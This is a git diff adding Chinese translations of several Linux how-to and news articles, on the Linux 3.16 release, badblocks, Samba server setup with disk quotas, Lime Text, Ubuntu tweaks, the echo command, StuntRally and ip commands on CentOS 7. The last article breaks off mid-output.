b/published/201408/20140807 This Is What' s New In Linux 3.16.md @@ -0,0 +1,57 @@ +Linux 3.16 内核中有什么新东西? +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/07/Tux-psd3894.jpg) + +**就在我们在梦乡中沉醉的的时间里,莱纳斯·托沃兹却一直处在忙碌之中。** + +是的,大家应该已经知道了,不久之前,Linux 3.16现在已经释出了稳定版本。 + +在他购买的一张跑步机办公桌上(或许不是,但是他的性格中的幽默实在是难以让人招架)Linux的创始人终于[公布][2]了最新的稳定版本: + +> “虽然3.16有一阵看起来有点玄乎,但是后来一切进展顺利,没有理由去做一些额外的候选发布版,就像几个星期前我担心的那样。” + +### Linux 3.16有什么新特性? ### + +代号为“Shuffling Zombie Juror”的Linux 3.16 的发布伴随着一系列的关键性改进。它们包括了复杂的和完整的 - 例如,“[unified control group hierarchy][3](注:统一控制组层次结构)” , 给更多的用户访问权限,如新的和改进的驱动程序。 + +多亏了[Linux Weekly News][4] 和 [Phoronix][5] 的辛勤工作(还有google在linux内核邮件列表上的出色贡献),我们整理了一些在这个版本中出现的的显着的变化和特性。 + +- 在多个ARM SoC的多平台的ARM内核映像(包括Exynos) +- 对Nvidia的Tegra K1和开普勒GPU的各种支持 +- 诺基亚N900的调制解调器驱动程序包含在主线 +- 加入对英特尔Cherryview支持 +- 改善对SIXAXIS和DUALSHOCK 4控制器的支持 +- Sony-HID驱动程序的改进 +- Synaptics触摸板的RMI驱动程序 +- Saitek RAT7游戏鼠标的修复 +- 戴尔 FreeFall driver +- 对[Btrfs 文件系统][6]的80的改变和修正, +- 新的音频驱动程序杂项。Cirrus,瑞昱 和 Analog 设备。 +- Tegra的高清音频HDMI 支持 + +### 安装Linux 3.16 ### + +新的内核发布了,你想要吗?好吧,先别急。 Linux的3.16很有可能在Ubuntu Linux14.10将作为默认内核而在今年晚些时候发布。而14.10版的内核也将不久后通过小版本更新提供给LTS的用户们。 + +如果你是一个急性子,**最重要的**是具备足够娴熟的技能,你可以使用在Canonical维护的主线内核档案中列出的相应的安装器 , 在为你的Ubuntu 14.04 LTS上安装Linux 3.16内核。 + +- [访问Ubuntu的内核存档网站][7] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/08/linux-kernel-3-16-changes-drivers + +作者:[Joey-Elijah Sneddon][a] +译者:[owen-carter](https://github.com/owen-carter) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/07/linus-torvalds-messy-desk-video +[2]:https://lkml.org/lkml/2014/8/3/82 +[3]:https://lwn.net/Articles/601840/ +[4]:https://lwn.net/ +[5]:http://www.phoronix.com/scan.php?page=news_item&px=MTc1NDM +[6]:http://lkml.iu.edu/hypermail/linux/kernel/1406.1/02366.html +[7]:http://kernel.ubuntu.com/ \ No newline at end of file diff --git a/published/201408/20140808 Check Hard drive for bad sectors or bad blocks in linux.md b/published/201408/20140808 Check Hard drive for bad sectors or bad blocks in linux.md new file mode 100644 index 0000000000..31c51c2938 --- /dev/null +++ b/published/201408/20140808 Check Hard drive for bad sectors or bad blocks in linux.md @@ -0,0 +1,44 @@ +检查linux中硬盘损坏的扇区和区块 +================================================================================ +**badblocks**是linux及其类似的操作系统中,扫描检查硬盘和外部设备损坏扇区的命令工具。损坏的扇区或者损坏的区块是硬盘中因为永久损坏或者是操作系统不能读取的空间。 + +Badblocks命令可以探测硬盘中所有损坏的扇区或者区块并将结果保存在一个文本文档中,这样,我们就可以使用**e2fsck**命令来配置操作系统不在这些损坏的扇区中存储数据。 + +### 步骤:1 使用fdisk命令识别硬盘信息 ### + + # sudo fdisk -l + +### 步骤:2 扫描硬盘的损坏扇区或区块 ### + + # sudo badblocks -v /dev/sdb > /tmp/bad-blocks.txt + +只需将“/dev/sdb”替换为自己机器的硬盘/分区。执行完成上述命令后,一个名为“bad-blocks”文本文档将会在/tmp下创建,它将包含所有的损坏区块。 + +例如: + +![](http://www.linuxtechi.com/wp-content/uploads/2014/08/badblocks.png) + +### 步骤:3 提示 操作系统不要使用损坏区块存储 ### + +扫描完成后,如果损坏区块被发现了,然后通过e2fsck命令使用“bad-blocks.txt”,强迫操作系统不使用这些损坏的区块存储数据。 + + # sudo e2fsck -l /tmp/bad-blocks.txt /dev/sdb + +注意:在运行e2fsck命令前,请保证设备没有被挂载。 + +关于badblocks和e2fsck命令的更多帮助,请参考下列man页面 + + # man badblocks + # man e2fsck + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/check-hard-drive-for-bad-sector-linux/ + +作者:[Pradeep Kumar][a] +译者:[Vic___](http://www.vicyu.net) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201408/20140808 How to set up a Samba file server to use with Windows clients.md b/published/201408/20140808 How to set up a Samba file server to use with Windows clients.md new file mode 100644 index 0000000000..1c05808bb6 --- /dev/null +++ b/published/201408/20140808 How to set up a Samba file server to use with Windows clients.md @@ -0,0 +1,160 @@ +怎样设置Samba文件服务器以使用Windows客户端 +================================================================================ +根据[Samba][1]项目网站所述,Samba是一个开源/自由软件套件,提供了到SMB/CIFS客户端的无缝文件和打印服务。不同于其它SMB/CIFS网络协议部署(如HP-UX的LM服务器,OS/2的LAN服务器,或者VisionFS),Samba(及其源代码)是可以自由获取的(终端用户无需付费),允许在Linux/Unixt服务器和Windows/Unix/Linux客户端之间互操作。 + +出于这些理由,Samba在不同操作系统(除了Linux)共存的网络中首选的文件服务器解决方案——最常见的结构是多个微软Windows客户端访问安装有Samba的Linux服务器,该情形也是本文将要解决的问题。 + +请注意,另外一方面,如果我们的网络仅仅是由基于Unix的客户端(如Linux,AIX,或者Solaris,等等)组成,我们可以考虑使用NFS(尽管在此种情况下Samba仍然是可选方案),它可以提供更快的速度。 + +### 在Debian和CentOS中安装Samba ### + +在我们开始安装之前,我们可以使用操作系统中的包管理系统查询Samba的信息: + +在Debian上: + + # aptitude show samba + +在CentOS上: + + # yum info samba + +在下面的屏幕截图中,我们可以看到‘aptitude show samba’的输出(‘yum info samba’会产生类似的结果): + +![](https://farm4.staticflickr.com/3868/14837993244_0fa525eb35_z.jpg) + +现在让我们来安装Samba吧(下面的截图来自Debian 7[Wheezy]服务器上的安装): + +在Debian上: + + # aptitude install samba + +在CentOS上: + + # yum install samba + +### 添加用户到Samba ### + +对于4.x之前的版本,需要建立一个本地Unix帐号以便将其添加到Samba: + + # adduser + +![](https://farm6.staticflickr.com/5574/14837266181_fed68bddf2_o.png) + +接下来,我们需要添加用户到Samba,使用带有‘-a’选项的smbpasswd命令来完成,该命令指出后面的用户名将被添加到本地smbpasswd文件中。我们将被提示输入密码(该密码无需和本地Unix帐号的密码相同): + + # smbpassword -a + +![](https://farm6.staticflickr.com/5555/14653711099_578f8613ca.jpg) + +最后,我们将赋予用户xmodulo到我们系统上某个目录的访问权限,该目录将被用于作为此用户的Samba共享(如有需要,也可以共享给其它用户)。要完成该工作,请使用文本编辑器(如Vim)打开/etc/samba/smb.conf文件,导航到文件末,然后创建一个带有描述名称的区块(使用方括号将其括起来),如[xmodulo]: + + # SAMBA SHARE + [xmodulo] + path = /home/xmodulo + available = yes + valid users = xmodulo + read only = no + browseable = yes + public = yes + writeable = yes + +我们现在必须重启Samba—以防万一—使用testparm命令来检查smb.conf文件的语法错误: + + # service samba restart + # testparm + +![](https://farm6.staticflickr.com/5589/14653655390_becb4f4981_z.jpg) + +如果有错误,在testparm结束后会报告。 + +### 在Windows 7计算机上将Samba共享映射为一个网络驱动器 ### + +在计算机上右击,然后选择“映射网络驱动器”: + +![](https://farm6.staticflickr.com/5571/14837993154_981b73ea92.jpg) + +输入安装了Samba的机器的IP地址,后跟共享名(就是smb.conf文件中方括号括起来的那个名称),然后确保选中了“使用不同的凭据连接”: + +![](https://farm4.staticflickr.com/3881/14839997172_d67ec98933_o.png) + +输入先前用‘**smbpasswd -a**’设置的用户名和密码: + +![](https://farm6.staticflickr.com/5563/14653711029_ddfea53bd6_o.png) + +进入计算机,然后检查网络驱动器是否被正确添加: + +![](https://farm6.staticflickr.com/5584/14837993124_c664728039_o.png) + +作为测试,让我们从Samba的手册页创建一个pdf文件,然后保存到/home/xmodulo目录: + +![](https://farm6.staticflickr.com/5593/14860219723_e8380f0d0f_o.png) + +接下来,我们可以验证该文件是否可以从Windows读取: + +![](https://farm4.staticflickr.com/3869/14817386696_74a12dfdcd_o.png) + +然后检查我们是否能够用默认的pdf阅读器打开它: + +![](https://farm6.staticflickr.com/5584/14653655350_8a243b1493_z.jpg) + +最后,让我们看看我们是否能在Windows中刚刚映射的驱动器上保存文件。我们将打开change.log文件,该文件列出了Notepad++的功能: + +![](https://farm6.staticflickr.com/5565/14817386676_18c1d7bc60_o.png) + +然后试着将它作为普通文本文件(.txt扩展名)保存到Z:\;然后让我们看看该文件是否能在Linux中看到: + +![](https://farm4.staticflickr.com/3841/14817386656_fb09a95a65_o.png) + +### 启用磁盘配额 ### + +作为第一步,我们需要验证当前内核是否已经编译为支持配额: + + # cat /boot/config-$(uname -r) | grep + +![](https://farm4.staticflickr.com/3867/14837993054_081dc9b0dc_z.jpg) + +每个文件系统最多有5种类型,能够强制使用的配额限制:用户软限制,用户硬限制,组软限制,组硬限制,以及宽限期限。 + +我们现在将为/home文件系统启用磁盘配额,在/etc/fstab文件对应的/home文件系统行现存的默认选项后添加usrquota和grpquto挂载选项,然后重新挂载文件系统以令修改生效: + +![](https://farm6.staticflickr.com/5561/14653806067_b8b0dc2333_z.jpg) + +接下来,我们需要在**/home**目录创建两个文件以用于作为用户和组配额的数据库文件:**aquota.user**和**aquota.group**。然后,我们将生成启用配额后每个文件系统的当前磁盘使用表: + + # quotacheck -cug /home + # quotacheck -avugm + +![](https://farm6.staticflickr.com/5584/14837265971_654e8f3bc0_o.png) + +尽管已经为/home文件系统启用磁盘配额,我们还没有给任何用户或组设置权限。检查现有用户/组的配额信息: + + # quota -u + # quota -g + +![](https://farm6.staticflickr.com/5582/14653735848_8de88d69c4_o.png) + +在这最后几步中,使用quotatool命令来为每个用户和/或组来分配磁盘配额(注意,该任务也可以使用edquota来完成,但是quotatool更为直接,更不易犯错)。 + +要为用户xmodulo设置软限制为4MB,硬限制为5MB,xmodulo组为10MB/15MB: + + # quotatool -u xmodulo -bq 4M -l '5 Mb' /home + # quotatool -g xmodulo -bq 10M -l '15 Mb' /home + +![](https://farm4.staticflickr.com/3888/14653806037_5438b5034e_z.jpg) + +我们可以在Windows 7中看到结果(4.00MB中有3.98MB空闲): + +![](https://farm4.staticflickr.com/3919/14653805967_c2b1551869_o.png) + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/samba-file-server-windows-clients.html + +作者:[Gabriel Cánepa][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://www.samba.org/ diff --git a/published/201408/20140808 Lime Text--An Open Source Alternative Of Sublime Text.md b/published/201408/20140808 Lime Text--An Open Source Alternative Of Sublime Text.md new file mode 100644 index 0000000000..038b9da242 --- /dev/null +++ b/published/201408/20140808 Lime Text--An Open Source Alternative Of Sublime Text.md @@ -0,0 +1,38 @@ +Lime Text: 一款可以替代 Sublime Text 的开源项目 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Lime_Text_Editor.jpeg) + +[Sublime Text][1] 是为程序员准备的最好的文本编辑器之一(尽管不是最最好的)。Sublime 囊括了众多特性并且拥有很棒的界面外观,在三大主流桌面操作系统上均能运行,即 Windows, Mac 还有 Linux 之上。 + +但这并不表示 Sublime Text 是完美的。它有不少 bug、会崩溃而且几乎没有任何技术支持。如果你有关注过 Sublime Text 的开发过程,你就会发现此时 Sublime Text beta 版已经公布超过一年了,却没有告知用户任何关于它的发行日期的确切信息。最重要的是,Sublime Text 既不免费也不[开源][2]。 + +这一系列问题也使 [Fredrik Ehnbom][3] 感到沮丧,因此他在 [Github][5] 上发起了一个开源项目 ——[Lime Text][4],希望能开发出一款新的、外观与工作方式完全与 Sublime Text 一致的文本编辑器。在被问到为什么他决定去“克隆”一款现有的文本编辑器这个问题时,Frederic 说道: + +> 因为没有一款我试过的其他文本编辑器能达到我对 Sublime Text 的喜爱程度,我决定了我不得不开发出我自己的文本编辑器。 + +Lime Text 的后端采用 Go 实现,前端则使用了 ermbox,Qt (QML) 及 HTML/JavaScript。开发正根据完全明确可见的[目标][6]逐步进行中。你能够在它的 [Github 页面][7]中为项目贡献自己的力量。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/LimeTextEditor.jpeg) + +如果你想要试用 beta 版本,你可以根据 [wiki][8] 中的介绍搭建 Lime Text。同时,如果你想找寻其他强大的文本编辑器的话,试一试 [SciTE][9] 吧。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/lime-text-open-source-alternative/ + +作者:[bhishek][a] +译者:[SteveArcher](https://github.com/SteveArcher) +校对:[ReiNoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://www.sublimetext.com/ +[2]:http://itsfoss.com/category/open-source-software/ +[3]:https://github.com/quarnster +[4]:http://limetext.org/ +[5]:https://github.com/ +[6]:https://github.com/limetext/lime/wiki/Goals +[7]:https://github.com/limetext/lime/issues +[8]:https://github.com/limetext/lime/wiki/Building +[9]:http://itsfoss.com/scite-the-notepad-for-linux/ \ No newline at end of file diff --git a/published/201408/20140811 10 More Tweaks To Make Ubuntu Feel Like Home.md b/published/201408/20140811 10 More Tweaks To Make Ubuntu Feel Like Home.md new file mode 100644 index 0000000000..f4bc6dc12d --- /dev/null +++ b/published/201408/20140811 10 More Tweaks To Make Ubuntu Feel Like Home.md @@ -0,0 +1,127 @@ +10个调整让Ubuntu宾至如归 +================================================================================ +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/08/ubuntu-home-840x420.jpg?15f1a2) + +不久前我提供给大家[12个调整Ubuntu的小建议][1]。 然而,已经是一段时间以前的事情了,现在我们又提出了另外10个建议,能够使你的Ubuntu宾至如归。 + +这10个建议执行起来十分简单方便,那就让我们开始吧! + +### 1. 安装 TLP ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/01/tlp_stat.jpg?15f1a2) + +[我们不久前涉及到了TLP][2], 这是一款优化电源设置的软件,可以让你享受更长的电池寿命。之前我们深入的探讨过TLP, 并且我们也在列表中提到这软件真不错。要安装它,在终端运行以下命令: + + sudo add-apt-repository -y ppa:linrunner/tlp && sudo apt-get update && sudo apt-get install -y tlp tlp-rdw tp-smapi-dkms acpi-call-tools && sudo tlp start + +上面的命令将添加必要的仓库,更新包的列表以便它能包含被新仓库提供的包,安装TLP并且开启这个服务。 + +### 2. 系统负载指示器 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/07/ubuntu_tweak_systemload.jpg?15f1a2) + +给你的Ubuntu桌面添加一个系统负载指示器能让你快速了解到你的系统资源占用率。 如果你不想在桌面上添加这个技术图表,那么可以不要添加, 但是对于那些对它感兴趣的人来说,这个扩展真是很好。 你可以运行这个命令去安装它: + + sudo apt-get install indicator-multiload + +然后在Dash里面找到它并且打开。 + +### 3. 天气指示器 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/07/ubuntu_tweak_weatherind.jpg?15f1a2) + +Ubuntu过去提供内置的天气指示器,但是自从它切换到Gnome 3以后,就不再默认提供了。你需要安装一个独立的指示器来代替。 你可以通过以下命令安装它: + + sudo add-apt-repository -y ppa:atareao/atareao && sudo apt-get update && sudo apt-get install -y my-weather-indicator + +这将添加另外一个仓库,更新包的列表,并且安装这个指示器。然后在Dash里面找到并开启它。 + +### 4. 安装 Dropbox 或其他云存储解决方案 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/05/Dropbox-2.png?15f1a2) + +我在我所有的Linux系统里面都安装过的一个软件,那就是Dropbox。没有它,真的就找不到家的感觉,主要是因为我所有经常使用的文件都储存在Dropbox中。安装Dropbox非常直截了当,但是要花点时间执行一个简单的命令。 在开始之前,为了你能在系统托盘里看到Dropbox的图标,你需要运行这个命令: + + sudo apt-get install libappindicator1 + +然后你需要去Dropbox的下载页面,接着安装你已下载的.deb文件。现在你的Dropbox应该已经运行了。 + +如果你有点讨厌Dropbox, 你也可以尝试使用Copy [或者OneDrive][3]。两者提供更多免费存储空间,这是考虑使用它们的很大一个原因。比起OneDrive我更推荐使用Copy,因为Copy能工作在所有的Linux发行版上。 + +### 5. 安装Pidgin和Skype ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/12/skype_linux_conversation.jpg?15f1a2) + +和朋友们保持联系特别好,并且如果你使用即时通讯,那么你很幸运。 Pidgin和Skype在Linux都十分出色,它们都能连接所有主要网络。安装Pidgin就像运行这个命令一样简单: + + sudo apt-get install pidgin + +安装Skype也很简单 — 你仅仅需要去Skype的下载页面并且下载你Ubuntu12.04对应架构的.deb文件就可以了。 + +### 6. 移除键盘指示器 ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/07/ubuntu_tweak_keyboard_indicator.jpg?15f1a2) + +在桌面上显示键盘指示器可能让一些人很苦恼。对于讲英语的人来说,它仅仅显示一个“EN”,这可能是恼人的,因为很多人不需要改变键盘布局或者被提醒他们正在使用英语。要移除这个指示器,选择系统设置,然后文本输入,接着去掉“在菜单栏显示当前输入源”的勾。 +(译注:国人可能并不适合这个建议。) + +### 7. 回归传统菜单### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/07/ubuntu_tweak_classicmenu.jpg?15f1a2) + +在Ubuntu切换到Unity之前,它使用Gnome 2 作为默认的桌面环境。 这包含一个简单的菜单去访问已安装的应用,菜单包含的很多分类,比如: 游戏,办公, 互联网,等等。 你可以用另外一个简单的包找回这个“传统菜单” 。要安装它,运行这个命令: + + sudo add-apt-repository -y ppa:diesch/testing && sudo apt-get update && sudo apt-get install -y classicmenu-indicator + +### 8. 安装Flash和Java ### + +在之前的文章中我提到了安装解码器和Silverlight,我应该也提到了Flash和Java是它们所需要的主要插件,虽然有时可能它们可能被遗忘。要安装它们只需运行这个命令: + + sudo add-apt-repository -y ppa:webupd8team/java && sudo apt-get update && sudo apt-get install oracle-java7-installer flashplugin-installer + +安装Java需要新增仓库,因为Ubuntu不再包含它的专利版本(大多数人为了最好的性能推荐使用这个版本),而是使用开源的OpenJDK。 + +### 9. 安装VLC ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/07/ubuntu_tweaks_vlc.jpg?15f1a2) + +默认的媒体播放器Totem十分优秀但是它依赖很多独立安装的解码器才能很好的工作。我个人推荐你安装VLC媒体播放器, 因为它包含所有解码器并且实际上它支持世界上每一种媒体格式。要安装它,仅仅需要运行如下命令: + + sudo apt-get install vlc + +### 10. 安装PuTTY (或者不) ### + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2014/07/ubuntu_tweaks_putty.jpg?15f1a2) + +最近,如果你出于SSH的需要而使用PuTTY,你有两个选择:为Linux安装PuTTY,或者直接使用终端。如果你想使用终端安装PuTTY,需要用到这个命令: + + sudo apt-get install putty + +然而,并不需要直接安装它,因为你可以使用这个命令来连接任何远程主机。 + + ssh username@this.domain.here + +用你想要连接的用户名来替换掉“username”,然后用主机的直接域名或者IP地址替换掉“this.domain.here” 都可以。 + +### 你推荐如何调整? ### + +补充了这10个调整,你应该感觉你的Ubuntu真的有家的感觉,这很容易建立起或击溃你的Linux体验。有许多不同的方式去定制你自己的体验去让它更适合你的需要;你只需自己寻找来发现你想要的东西。 + +**您有什么其它的调整和建议想和读者分享?**在评论中告诉我们吧! + +*图片致谢: Home doormat Via Shutterstock* + +-------------------------------------------------------------------------------- + +via: http://www.makeuseof.com/tag/10-tweaks-make-ubuntu-feel-like-home/ + +作者:[Danny Stieben][a] +译者:[guodongxiaren](https://github.com/guodongxiaren) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.makeuseof.com/tag/author/danny/ +[1]:http://www.makeuseof.com/tag/11-tweaks-perform-ubuntu-installation/ +[2]:http://www.makeuseof.com/tag/easily-increase-battery-life-tlp-linux/ +[3]:http://www.makeuseof.com/tag/synchronize-files-ubuntu-onedrive/ diff --git a/published/201408/20140811 Echo Command with Practical Examples.md b/published/201408/20140811 Echo Command with Practical Examples.md new file mode 100644 index 0000000000..be3c937b69 --- /dev/null +++ b/published/201408/20140811 Echo Command with Practical Examples.md @@ -0,0 +1,130 @@ +Echo命令实例 +================================================================================ + +echo命令是内建的**shell命令**,用于显示**变量**的值或者**打印一行文本**。 + +echo命令在构建shell脚本时扮演着重要的角色。 + +### 语法: ### + + # echo [Options] [String] + +方括号中的项目是可选的。字符串可以定义为字符的有限序列(如字母,数字,符号,标点符号)。 + +当echo命令不带任何选项或字符串使用时,它会在显示屏上返回一个空白行,后面换一行跟上命令提示符。这是因为按下回车键就是发送一个信号给系统以开始一个新行,而echo重复了该信号。 + +### 选项: ### + + +- -n 不要输出衍生的新行 +- -e 启用反斜线转义解释 +- -E 禁用反斜线转义解释(默认) + + +如果使用-e选项,则可以使用如下转义序列: + +- \\ 反斜线 +- \a 警告(BEL) +- \b 反斜线 +- \c 不产生进一步输出 +- \e 转义 +- \f 换页 +- \n 新行 +- \r 换行字符 +- \t 水平制表 +- \v 垂直制表 +- \0NNN 八进制值表示的字节NNN(1到3个数字) +- \xHH 十六进制值表示的字节NNN(1到2个数字) + +### 样例:1 显示系统定义的变量的值 ### + +使用set命令,我们可以列出系统定义的变量。而要打印这些变量的值,我们可以使用echo命令: + + jack@localhost:~$ echo $USER + jack + jack@localhost:~$ echo $HOME + /home/jack + +### 样例:2 显示用户定义的变量的值 ### + + jack@nextstep4it:~$ var1=`date` + jack@nextstep4it:~$ echo "Today's date time is : $var1" + Today's date time is : Mon Jul 28 13:11:37 IST 2014 + +### 样例:3 显示文本字符串 ### + + jack@nextstep4it:~$ echo " Hi this echo command testing" + Hi this echo command testing + +### 样例:4 在echo命令中使用反斜线 ### + + jack@nextstep4it:~$ echo -e "Ubuntu \bis \bthe \bbest \bDesktop \bOS" + +上述命令将打印: + +UbuntuisthebestDesktopOS + +### 样例:5 在echo命令中使用制表符空格 ### + + nextstep4it@nextstep4it:~$ echo -e "Ubuntu \tis \tthe \tbest \tDesktop \tOS" + +上述命令将显示如下输出: + +Ubuntu is the best Desktop OS + +### 样例:6 在echo命令中使用垂直制表符 ### + + jack@nextstep4it:~$ echo -e "Ubuntu \vis \vthe \vbest \vDesktop \vOS" + Ubuntu + is + the + best + Desktop + OS + +### 样例:7 设置echo命令彩色输出 ### + +echo命令可以修改字体类型,字体背景色以及字体颜色,转义序列\033可以用于改变字体属性。要使转义序列生效,必须使用-e选项。下面列出了部分转义代码: + +- [0m: 正常 +- [1m: 粗体 +- [4m: 字体加上下划线 +- [7m: 逆转前景和背景色 +- [8m: 不可见字符 +- [9m: 跨行字体 +- [30m: 灰色字体 +- [31m: 红色字体 +- [32m: 绿色字体 +- [33m: 棕色字体 +- [34m: 蓝色字体 +- [35m: 紫色字体 +- [36m: 浅蓝色字体 +- [37m: 浅灰字体 +- [38m: 黑色字体 +- [40m: 黑色背景 +- [41m: 红色背景 +- [42m: 绿色背景 +- [43m: 棕色背景 +- [44m: 蓝色背景 +- [45m: 紫色背景 +- [46m: 浅蓝色背景 +- [47m: 浅灰色背景 + +下面的命令将用红色打印输出。 + + jack@nextstep4it:~$ echo -e "\033[31mMagic of Linux\033[0m" + Magic of Linux + +下面的命令将以粗体以及红色背景打印出“Magic of Linux”。 + + nextstep4it@nextstep4it:~$ echo -e "\033[1m\033[41mMagic of Linux\033[0m" + Magic of Linux + +-------------------------------------------------------------------------------- + +via: http://www.nextstep4it.com/categories/unix-command/echo-command/ + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140811 StuntRally 2.4 Is the Most Advanced Free Racing Game on Linux.md b/published/201408/20140811 StuntRally 2.4 Is the Most Advanced Free Racing Game on Linux.md new file mode 100644 index 0000000000..ee29ade8d2 --- /dev/null +++ b/published/201408/20140811 StuntRally 2.4 Is the Most Advanced Free Racing Game on Linux.md @@ -0,0 +1,38 @@ +Linux上最先进的免费赛车游戏:StuntRally 2.4 +================================================================================ +![StuntRally](http://i1-news.softpedia-static.com/images/news2/StuntRally-2-4-Is-the-Most-Advance-Free-Racing-Game-on-Linux-454345-2.jpg) +StuntRally + +**StuntRally,免费的赛车游戏,拥有超过150个赛道和大量的车型,刚刚发布2.4版本,并带来大量的更新和新功能。** + +这个游戏使用了多项技术, 例如 Vdrift、物理引擎 bullet、面向对象图形渲染引擎 OGRE、 网格的渲染优化 PagedGeometry 和 MyGUI 等等,不一一列举,开发者将其全部整合在一起构造了一个非常复杂和有趣的赛车游戏. + +玩家可以在147个赛道和26个不同的场景中游戏,总计有四个小时的车程时间。在如此多的选择下,你要知道,而StuntRally是完全免费的! + +其他功能包括在幽灵驾驶(可以跟踪你的车子在赛道上的最佳瞬间),赛道幽灵(赛道上的最佳驾驶,一个绿幽灵赛车,可以出现在所有轨道),回放(记录你的驾驶过程,并可以从其它的摄像头角度查看),许多的教程,几个总冠军杯赛,一些挑战赛,分屏赛车,和多人游戏。 + +最重要的是,开发商还提供了一个轨道编辑器,允许用户实时编辑道路节点及其参数,改变所有的赛道参数,调整地形生成器,甚至修改驾驶中的汽车的属性。 + +根据更新日志,添加了6个新的地图,删除了12个旧关卡,更新了一些赛道,增加了两个名为Crystals 和 GreeceWhite的场景,实现了太空飞船式气垫船,一半的赛道添加了新的天空纹理贴图,一些赛道上的静态景物现在可以用了,汽车属性页有了状态条、速度图,并添加了一个短列表视图。 + +同时,字体现在他们已重新调整得更大了,增加了包括胜利、失败、过圈最佳时间和故障检测排除等声音,已修复了多人游戏中用户昵称出现两次的问题,在一些赛道实现了地形、浓雾、水体的影响,关卡编辑器已经做了一些改进,汽车转向控制进行了改进,修复了游戏中的汽车表面调整窗口。 + +关于StuntRally更多最新消息可以参考 [通告][1]。 + +下载 StuntRally 2.4: + +- [Stunt Rally 2.4 tar.xz][2][binary] [735 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/StuntRally-2-4-Is-the-Most-Advance-Free-Racing-Game-on-Linux-454345.shtml + +作者:[Silviu Stahie][a] +译者:[fbigun](https://github.com/fbigun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://code.google.com/p/vdrift-ogre/wiki/VersionHistory +[2]:http://sourceforge.net/projects/stuntrally/files/2.4/StuntRally-2.4-linux64.tar.xz/download \ No newline at end of file diff --git a/published/201408/20140812 'Ifconfig' Command Not Found In CentOS 7 Minimal Installation--A Quick Tip To Fix It.md b/published/201408/20140812 'Ifconfig' Command Not Found In CentOS 7 Minimal Installation--A Quick Tip To Fix It.md new file mode 100644 index 0000000000..2ccfd07356 --- /dev/null +++ b/published/201408/20140812 'Ifconfig' Command Not Found In CentOS 7 Minimal Installation--A Quick Tip To Fix It.md @@ -0,0 +1,124 @@ +CentOS 7最小化安装后找不到‘ifconfig’命令——修复小提示 +================================================================================ +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/08/centos7-790x493.jpg) + +就像我们所知道的,“**ifconfig**”命令用于配置GNU/Linux系统的网络接口。它显示网络接口卡的详细信息,包括IP地址,MAC地址,以及网络接口卡状态之类。但是,该命令已经过时了,而且在最小化版本的RHEL 7以及它的克隆版本CentOS 7,Oracle Linux 7和Scientific Linux 7中也找不到该命令。 + +### 在CentOS最小化服务器版本中如何查找网卡IP和其它详细信息? ### + +CentOS 7最小化系统,使用“**ip addr**”和“**ip link**”命令来查找网卡详情。要知道统计数据,可以使用“**ip -s link**”。 + +要查看网卡细节,输入以下命令: + + ip addr + +输出样例: + + 1: lo: mtu 16436 qdisc noqueue state UNKNOWN + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever + 2: venet0: mtu 1500 qdisc noqueue state UNKNOWN + link/void + inet 127.0.0.1/32 scope host venet0 + inet 192.168.1.101/32 brd 192.168.1.101 scope global venet0:0 + +要查看网络接口统计数据,输入命令: + + ip link + +输出样例: + + 1: lo: mtu 16436 qdisc noqueue state UNKNOWN mode DEFAULT + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + 2: venet0: mtu 1500 qdisc noqueue state UNKNOWN mode DEFAULT + link/void + +或者 + + ip -s link + +输出样例: + + 1: lo: mtu 16436 qdisc noqueue state UNKNOWN mode DEFAULT + link/loopback 00:00:00:00:00:00 